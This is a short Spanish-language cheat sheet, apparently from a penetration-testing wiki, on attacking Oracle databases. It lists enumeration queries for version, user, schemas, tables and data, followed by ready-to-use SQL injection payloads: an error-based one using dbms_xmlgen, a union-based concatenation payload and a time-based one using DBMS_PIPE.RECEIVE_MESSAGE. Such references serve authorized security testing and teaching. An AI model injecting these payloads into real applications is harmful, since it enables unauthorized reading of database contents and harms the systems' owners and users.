Oracle
Enumeración
Versión
# Versión
SELECT * FROM v$version
Usuarios
# Usuario actual
SELECT user FROM dual
Esquemas
# Listado de esquemas
SELECT owner FROM all_tables GROUP BY owner
Tablas
# Tablas de un esquema
SELECT table_name FROM all_tables where owner='<schema>' ORDER BY table_name
Columnas
# Columnas de una tabla
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='<table>'
Datos
# Datos de una tabla
SELECT * FROM sys.<table>
SELECT * FROM <schema>.<table>
Error-based SQLi
to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,25) from v$version where rownum=1)||'" from sys.dual'))
Union-based SQLi
Obtener información dentro de una sola columna
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
Time-based SQLi
AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10)
Última actualización
¿Te fue útil?